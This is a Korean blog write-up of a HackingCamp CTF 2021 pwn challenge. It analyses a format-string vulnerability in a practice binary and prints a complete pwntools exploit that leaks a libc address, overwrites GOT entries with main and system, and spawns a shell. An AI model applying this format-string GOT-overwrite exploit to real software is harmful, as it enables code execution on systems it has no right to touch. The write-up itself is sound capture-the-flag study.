문제 풀이 환경 : ubuntu 20.04 |
이번 해캠CTF 때 나왔던 문제이다. 우리 팀장님이 내신 문제인데, 내가 힙을 잘 몰라서 인텐으로 못풀고 언인텐으로 풀었다. ... 크로스체킹 때 언인텐 발견 못해서 죄송할 따름이다. (사실 익스보고도 이해를 못해서 체킹도 못했었다)
이 문제를 풀면서 내가 가진 구버전 IDA로는 디컴이 잘 안되가지고 IDA를 7.5로 업그레이드 시켰다.ㅎㅎ
주어진 파일은 libc 파일, 문제 바이너리 파일, c코드 파일인데 깜빡하고(?) c코드 파일은 보지 않고 풀었다.
Analysis
일단 바이너리를 실행시켜보면 이런 느낌이다.
각 메뉴를 실행하면 아래와 같은 함수가 실행된다.
- vuln()
- safe()
- clean()
vuln()부터 살펴보자.
16번째 줄에서 read 함수로 &buf에 0x5만큼 쓸 수 있고 22번째 줄에 &buf를 출력하면서 fsb가 트리거 가능하다.
vuln에서 libc leak을 할 수 있겠다.
safe()를 살펴보자.
50번째 줄에서 read함수로 &buf에 0x64만큼 쓰기가 가능하다. 참고로 vuln 함수에서는 0x5만 쓰기 가능했었다.
64번째 줄에서 snprintf() 함수는 끝 널 문자를 계산하지 않고 배열에 작성된 바이트 수를 리턴한다.
int snprintf (char *buffer, int buf_size, const char *format, ...)
그리고 snprintf 는 사용자가 두번째 인자값으로 넘긴 만큼만 갖고오면서, 마지막 주소지엔 알아서 널값을 채워준다.
결론은 70번째 줄에서 0x5만 &buf에서 safe_buf로 복사가 되고 71번째에서 safe_buf를 출력한다.
여기서 하나 테스트를 해본다.
세그먼트 폴트가 떴다. 이게 0x5 글자 제한이었다면 AAAAA만 인정이되어서 프로그램이 안터졌을 것이다. 하지만 세폴이 뜬 것을 보니 5글자 제한이 아니었고, %n이 유효한 주소를 가리켰다면 터지지 않았을 것이다.
from pwn import *
p = process("./secure_test")
#p = remote
payload = ''
payload += 'A'*8
payload += 'B'*8
payload += 'C'*8
payload += 'D'*8
payload += 'E'*8
payload += 'F'*8
payload += 'G'*8
payload += 'H'*8
payload += 'I'*8
payload += 'J'*8
payload += 'K'*8
payload += "%10$n"
p.sendlineafter("Quit\n", "2")
pause()
p.sendlineafter("data\n", payload)
p.interactive()
%10$n으로 테스트 해보았다.
0x4545454545454545 주소에 접근해서 0x58을 넣으려고 한다. offset은 6임을 확인했다,
fsb로만 문제를 풀 것임으로 clean()은 분석을 pass한다..
How to exploit
- vuln() fsb 트리거해서 libc 주소 leak
- safe() fsb 트리거해서 ? got를 system함수로 overwriting
leak
leak할 때 오프셋을 몇으로 줘야 할 지 고민했었다.
우리가 leak할 주소는 저기 __libc_start_main이다.
64bit는 함수호출규약에 따라 6개의 인자는 레지스터로, 더 많으면 스택으로 넘긴다.
rdi rsi rdx rcx r8 r9
%p 하나 쓰면 rsi 값이 출력될 것이다.
결국 offset은 13...
got overwriting
got overwriting 하는게 힘들었다.
왜냐하면 자꾸 저기서 터졌기 때문이다.
그래서 __memmove_avx_unaligned_erms를 호출하는 memcpy를 그냥 main으로 덮어버렸다.
system함수는 대체 어디에 덮어야 할까??
atoi 함수의 got로 덮었다. 인자는 0x4만큼만 써야해서 'sh'로 주었다.
Let's exploit!
exploit code
from pwn import *
p = process("./secure_test")
#p = remote("13.125.168.158", "30001")
elf = ELF('./secure_test')
libc = ELF('./libc.so.6')
def fsb64(addr, got):
payload = ''
addr_low = addr & 0xffff
addr_middle = (addr >> 16) & 0xffff
addr_high = (addr >>32) & 0xffff
low = addr_low
if addr_middle > addr_low:
middle = addr_middle - addr_low
else:
middle = 0x10000 + addr_middle - addr_low
if addr_high > addr_middle:
high = addr_high - addr_middle
else:
high = 0x10000 + addr_high - addr_middle
# offset 6
payload += '%{}c'.format(low)
payload += '%11$hn'
payload += '%{}c'.format(middle)
payload += '%12$hn'
payload += '%{}c'.format(high)
payload += '%13$hn'
payload += 'A'*(8-len(payload)%8)
payload += p64(got)
payload += p64(got+2)
payload += p64(got+4)
return payload
def leak():
payload = ''
payload += '%13$p'
p.sendlineafter('Quit\n', '1')
p.sendlineafter('data\n', payload)
p.recvuntil('result: ')
leak = p.recvuntil('[')[:-1]
leak = int(leak,16)
log.info('libc_start_main_ret leak : ' + hex(leak))
return leak
##########
system_offset = libc.symbols['system']
libc_start_main_offset = libc.symbols['__libc_start_main']
atoi_got = elf.got['atoi']
memcpy_got = elf.got['memcpy']
main = elf.symbols['main']
##########
# get libc_base
libc_base = leak() - libc_start_main_offset - 243
log.info('libc_base : ' + hex(libc_base))
system = libc_base + system_offset
log.info('system : ' + hex(system))
# memcpy got overwriting -> main
payload = ''
payload += fsb64(main, memcpy_got)
p.sendlineafter('Quit\n', '2')
p.sendlineafter('data\n', payload)
# atoi got overwriting -> system
payload = ''
payload += fsb64(system, atoi_got)
p.sendlineafter('Quit\n', '2')
p.sendlineafter('data\n', payload)
# exploit
#pause()
p.sendlineafter('Quit\n', 'sh')
p.interactive()
나중에 공부 더 많이해서 인텐으로도 풀어봐야겠다.
'CTF > Write UPs' 카테고리의 다른 글
[zer0pts CTF 2021] Not Beginner's Stack 풀이 (64bit, shellcode) (0) | 2021.03.08 |
---|---|
[HackingCamp CTF 2021 : pwn] vuln 풀이 (출제자 풀이) (0) | 2021.02.25 |
[SECCON 2018] kindvm 풀이 (0) | 2021.02.18 |
[Dreamhack CTF Season 1 Round #1] dreamvm 풀이 (1) | 2021.02.16 |
[Dreamhack CTF Season 1 Round #4] pwn-library 풀이 (0) | 2021.02.08 |